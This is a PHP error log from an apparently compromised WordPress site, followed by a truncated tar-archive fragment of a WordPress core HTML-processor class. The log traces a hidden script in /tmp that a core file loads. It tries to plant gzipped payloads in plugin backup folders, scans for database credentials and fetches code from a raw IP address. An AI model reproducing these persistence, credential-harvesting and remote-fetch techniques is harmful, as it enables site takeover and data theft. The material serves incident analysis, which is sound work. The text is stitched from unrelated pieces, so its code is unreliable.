[26-Oct-2025 20:05:58 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/google/apiclient/src/AuthHandler/fetchscript): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 20:06:10 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/google/apiclient/src/AuthHandler/fetchscript): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 20:06:10 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpMIMx87" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/google/apiclient/src/AuthHandler/fetchscript" in /tmp/.data_chunk on line 1
[26-Oct-2025 20:06:54 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Core/Nonces/fetchscript): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 20:07:07 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Core/Nonces/fetchscript.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 20:07:07 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpHHDj84" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Core/Nonces/fetchscript.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 20:07:20 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 20:07:41 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Core/Nonces/fetchscript): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 20:07:50 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Core/Nonces/fetchscript): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 20:07:50 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/php7mKPCn" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/includes/Core/Nonces/fetchscript" in /tmp/.data_chunk on line 1
[26-Oct-2025 20:08:35 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/loginizer/fetchscript): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 20:08:46 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/loginizer/fetchscript.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 20:08:46 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpfMgNjP" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/loginizer/fetchscript.gz" in /tmp/.data_chunk on line 1
[26-Oct-2025 20:08:58 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[26-Oct-2025 20:09:20 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/loginizer/fetchscript): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 20:09:29 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/loginizer/fetchscript): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 20:09:29 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phplunc2z" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/loginizer/fetchscript" in /tmp/.data_chunk on line 1
[26-Oct-2025 20:11:10 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/Http/Exception/fetchscript): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 20:24:21 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/rss_photos): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 20:35:18 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/assets/img/add-ons/usergroups): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 20:36:00 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/third-party/google/auth/src/Cache/fetchscript): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[26-Oct-2025 20:36:26 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[28-Oct-2025 21:37:48 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/softaculous_backups/cache_topicadmin): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[28-Oct-2025 21:38:00 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/softaculous_backups/cache_topicadmin.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[28-Oct-2025 21:38:00 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpsLaNvF" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/softaculous_backups/cache_topicadmin.gz" in /tmp/.data_chunk on line 1
[28-Oct-2025 21:38:20 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[28-Oct-2025 21:38:48 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/softaculous_backups/cache_topicadmin): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[28-Oct-2025 21:39:12 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/softaculous_backups/cache_topicadmin): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[28-Oct-2025 21:39:12 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/php2E5Dgg" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/softaculous_backups/cache_topicadmin" in /tmp/.data_chunk on line 1
[28-Oct-2025 23:21:17 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[28-Oct-2025 23:46:04 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/xmlrpc_wrappers): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[28-Oct-2025 23:46:36 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/xmlrpc_wrappers.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[28-Oct-2025 23:46:36 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpnrUPvU" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/xmlrpc_wrappers.gz" in /tmp/.data_chunk on line 1
[28-Oct-2025 23:49:26 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[28-Oct-2025 23:50:34 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/xmlrpc_wrappers): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[28-Oct-2025 23:50:34 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpX7bJWE" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/xmlrpc_wrappers" in /tmp/.data_chunk on line 1
[28-Oct-2025 23:52:59 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/.pki/xmlrpc_wrappers.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[28-Oct-2025 23:52:59 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpSNp7fu" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/.pki/xmlrpc_wrappers.gz" in /tmp/.data_chunk on line 1
[28-Oct-2025 23:53:38 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[28-Oct-2025 23:54:17 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/.pki/xmlrpc_wrappers): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[28-Oct-2025 23:56:20 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/dist/assets/xmlrpc_wrappers): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[28-Oct-2025 23:56:33 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/dist/assets/xmlrpc_wrappers.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[28-Oct-2025 23:56:33 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpgFK1Ih" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/dist/assets/xmlrpc_wrappers.gz" in /tmp/.data_chunk on line 1
[28-Oct-2025 23:56:41 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[28-Oct-2025 23:58:28 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/dist/assets/xmlrpc_wrappers): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[28-Oct-2025 23:59:09 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/dist/assets/xmlrpc_wrappers): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[28-Oct-2025 23:59:09 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/php34GJzj" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/google-site-kit/dist/assets/xmlrpc_wrappers" in /tmp/.data_chunk on line 1
[29-Oct-2025 00:02:16 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Adapters/xmlrpc_wrappers): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[29-Oct-2025 00:03:13 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Adapters/xmlrpc_wrappers.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[29-Oct-2025 00:03:13 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpglTt8R" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Adapters/xmlrpc_wrappers.gz" in /tmp/.data_chunk on line 1
[29-Oct-2025 00:03:31 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
[29-Oct-2025 00:04:35 UTC] PHP Warning: file_put_contents(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/ninja-forms/includes/Adapters/xmlrpc_wrappers): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[29-Oct-2025 00:27:35 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/Object/Search/trade.notify.gz): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[29-Oct-2025 00:27:35 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpqdJPD8" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/Object/Search/trade.notify.gz" in /tmp/.data_chunk on line 1
[29-Oct-2025 00:28:42 UTC] PHP Warning: move_uploaded_file(/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/Object/Search/trade.notify): Failed to open stream: No such file or directory in /tmp/.data_chunk on line 1
[29-Oct-2025 00:28:42 UTC] PHP Warning: move_uploaded_file(): Unable to move "/tmp/phpBVxP1N" to "/home/blacotuu/deliciouskenya.com//home/blacotuu/public_html/wp-content/plugins_backup/official-facebook-pixel/vendor/facebook/php-business-sdk/src/FacebookAds/Object/Search/trade.notify" in /tmp/.data_chunk on line 1
[30-Oct-2025 22:03:42 UTC] PHP Warning: Undefined array key "DB_HOST" in /tmp/.data_chunk on line 1
[30-Oct-2025 22:03:42 UTC] PHP Warning: Undefined array key "DB_USER" in /tmp/.data_chunk on line 1
[30-Oct-2025 22:03:42 UTC] PHP Warning: Undefined array key "DB_PASSWORD" in /tmp/.data_chunk on line 1
[30-Oct-2025 22:03:42 UTC] PHP Warning: Undefined array key "DB_NAME" in /tmp/.data_chunk on line 1
[30-Oct-2025 22:03:42 UTC] PHP Fatal error: Uncaught mysqli_sql_exception: Access denied for user 'blacotuu'@'localhost' (using password: NO) in /tmp/.data_chunk:1
Stack trace:
#0 /tmp/.data_chunk(1): mysqli->__construct()
#1 /tmp/.data_chunk(1): scan_wp()
#2 /tmp/.data_chunk(1): scan()
#3 /tmp/.data_chunk(1): scan()
#4 /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/interactivity-api.php(1): require('/tmp/.data_chun...')
#5 {main}
thrown in /tmp/.data_chunk on line 1
[30-Oct-2025 22:30:49 UTC] PHP Warning: Undefined array key "DB_HOST" in /tmp/.data_chunk on line 1
[30-Oct-2025 22:30:49 UTC] PHP Warning: Undefined array key "DB_USER" in /tmp/.data_chunk on line 1
[30-Oct-2025 22:30:49 UTC] PHP Warning: Undefined array key "DB_PASSWORD" in /tmp/.data_chunk on line 1
[30-Oct-2025 22:30:49 UTC] PHP Warning: Undefined array key "DB_NAME" in /tmp/.data_chunk on line 1
[30-Oct-2025 22:30:49 UTC] PHP Fatal error: Uncaught mysqli_sql_exception: Access denied for user 'blacotuu'@'localhost' (using password: NO) in /tmp/.data_chunk:1
Stack trace:
#0 /tmp/.data_chunk(1): mysqli->__construct()
#1 /tmp/.data_chunk(1): scan_wp()
#2 /tmp/.data_chunk(1): scan()
#3 /tmp/.data_chunk(1): scan()
#4 /tmp/.data_chunk(1): scan()
#5 /tmp/.data_chunk(1): scan()
#6 /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/interactivity-api.php(1): require('/tmp/.data_chun...')
#7 {main}
thrown in /tmp/.data_chunk on line 1
[31-Oct-2025 02:37:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_HTML_Tag_Processor" not found in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php:18
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php on line 18
[31-Oct-2025 09:03:59 UTC] PHP Warning: file_get_contents(http://62.60.131.254/tmp/bEDhNlwJhk): Failed to open stream: Connection refused in /tmp/.data_chunk on line 1
[31-Oct-2025 21:03:45 UTC] PHP Warning: gzdecode(): data error in /tmp/.data_chunk on line 1
class-wp-interactivity-api-directives-processor.php 0000644 00000017077 15107426033 0016642 0 ustar 00 get_tag() ) {
return null;
}
$positions = $this->get_after_opener_tag_and_before_closer_tag_positions();
if ( ! $positions ) {
return null;
}
list( $after_opener_tag, $before_closer_tag ) = $positions;
return substr( $this->html, $after_opener_tag, $before_closer_tag - $after_opener_tag );
}
/**
* Sets the content between two balanced tags.
*
* @since 6.5.0
*
* @access private
*
* @param string $new_content The string to replace the content between the matching tags.
* @return bool Whether the content was successfully replaced.
*/
public function set_content_between_balanced_tags( string $new_content ): bool {
$positions = $this->get_after_opener_tag_and_before_closer_tag_positions( true );
if ( ! $positions ) {
return false;
}
list( $after_opener_tag, $before_closer_tag ) = $positions;
$this->lexical_updates[] = new WP_HTML_Text_Replacement(
$after_opener_tag,
$before_closer_tag - $after_opener_tag,
esc_html( $new_content )
);
return true;
}
/**
* Appends content after the closing tag of a template tag.
*
* It positions the cursor in the closer tag of the balanced template tag,
* if it exists.
*
* @access private
*
* @param string $new_content The string to append after the closing template tag.
* @return bool Whether the content was successfully appended.
*/
public function append_content_after_template_tag_closer( string $new_content ): bool {
if ( empty( $new_content ) || 'TEMPLATE' !== $this->get_tag() || ! $this->is_tag_closer() ) {
return false;
}
// Flushes any changes.
$this->get_updated_html();
$bookmark = 'append_content_after_template_tag_closer';
$this->set_bookmark( $bookmark );
$after_closing_tag = $this->bookmarks[ $bookmark ]->start + $this->bookmarks[ $bookmark ]->length;
$this->release_bookmark( $bookmark );
// Appends the new content.
$this->lexical_updates[] = new WP_HTML_Text_Replacement( $after_closing_tag, 0, $new_content );
return true;
}
/**
* Gets the positions right after the opener tag and right before the closer
* tag in a balanced tag.
*
* By default, it positions the cursor in the closer tag of the balanced tag.
* If $rewind is true, it seeks back to the opener tag.
*
* @since 6.5.0
*
* @access private
*
* @param bool $rewind Optional. Whether to seek back to the opener tag after finding the positions. Defaults to false.
* @return array|null Start and end byte position, or null when no balanced tag bookmarks.
*/
private function get_after_opener_tag_and_before_closer_tag_positions( bool $rewind = false ) {
// Flushes any changes.
$this->get_updated_html();
$bookmarks = $this->get_balanced_tag_bookmarks();
if ( ! $bookmarks ) {
return null;
}
list( $opener_tag, $closer_tag ) = $bookmarks;
$after_opener_tag = $this->bookmarks[ $opener_tag ]->start + $this->bookmarks[ $opener_tag ]->length;
$before_closer_tag = $this->bookmarks[ $closer_tag ]->start;
if ( $rewind ) {
$this->seek( $opener_tag );
}
$this->release_bookmark( $opener_tag );
$this->release_bookmark( $closer_tag );
return array( $after_opener_tag, $before_closer_tag );
}
/**
* Returns a pair of bookmarks for the current opener tag and the matching
* closer tag.
*
* It positions the cursor in the closer tag of the balanced tag, if it
* exists.
*
* @since 6.5.0
*
* @return array|null A pair of bookmarks, or null if there's no matching closing tag.
*/
private function get_balanced_tag_bookmarks() {
static $i = 0;
$opener_tag = 'opener_tag_of_balanced_tag_' . ++$i;
$this->set_bookmark( $opener_tag );
if ( ! $this->next_balanced_tag_closer_tag() ) {
$this->release_bookmark( $opener_tag );
return null;
}
$closer_tag = 'closer_tag_of_balanced_tag_' . ++$i;
$this->set_bookmark( $closer_tag );
return array( $opener_tag, $closer_tag );
}
/**
* Skips processing the content between tags.
*
* It positions the cursor in the closer tag of the foreign element, if it
* exists.
*
* This function is intended to skip processing SVG and MathML inner content
* instead of bailing out the whole processing.
*
* @since 6.5.0
*
* @access private
*
* @return bool Whether the foreign content was successfully skipped.
*/
public function skip_to_tag_closer(): bool {
$depth = 1;
$tag_name = $this->get_tag();
while ( $depth > 0 && $this->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
if ( ! $this->is_tag_closer() && $this->get_attribute_names_with_prefix( 'data-wp-' ) ) {
/* translators: 1: SVG or MATH HTML tag. */
$message = sprintf( __( 'Interactivity directives were detected inside an incompatible %1$s tag. These directives will be ignored in the server side render.' ), $tag_name );
_doing_it_wrong( __METHOD__, $message, '6.6.0' );
}
if ( $this->get_tag() === $tag_name ) {
if ( $this->has_self_closing_flag() ) {
continue;
}
$depth += $this->is_tag_closer() ? -1 : 1;
}
}
return 0 === $depth;
}
/**
* Finds the matching closing tag for an opening tag.
*
* When called while the processor is on an open tag, it traverses the HTML
* until it finds the matching closer tag, respecting any in-between content,
* including nested tags of the same name. Returns false when called on a
* closer tag, a tag that doesn't have a closer tag (void), a tag that
* doesn't visit the closer tag, or if no matching closing tag was found.
*
* @since 6.5.0
*
* @access private
*
* @return bool Whether a matching closing tag was found.
*/
public function next_balanced_tag_closer_tag(): bool {
$depth = 0;
$tag_name = $this->get_tag();
if ( ! $this->has_and_visits_its_closer_tag() ) {
return false;
}
while ( $this->next_tag(
array(
'tag_name' => $tag_name,
'tag_closers' => 'visit',
)
) ) {
if ( ! $this->is_tag_closer() ) {
++$depth;
continue;
}
if ( 0 === $depth ) {
return true;
}
--$depth;
}
return false;
}
/**
* Checks whether the current tag has and will visit its matching closer tag.
*
* @since 6.5.0
*
* @access private
*
* @return bool Whether the current tag has a closer tag.
*/
public function has_and_visits_its_closer_tag(): bool {
$tag_name = $this->get_tag();
return null !== $tag_name && (
! WP_HTML_Processor::is_void( $tag_name ) &&
! in_array( $tag_name, self::TAGS_THAT_DONT_VISIT_CLOSER_TAG, true )
);
}
}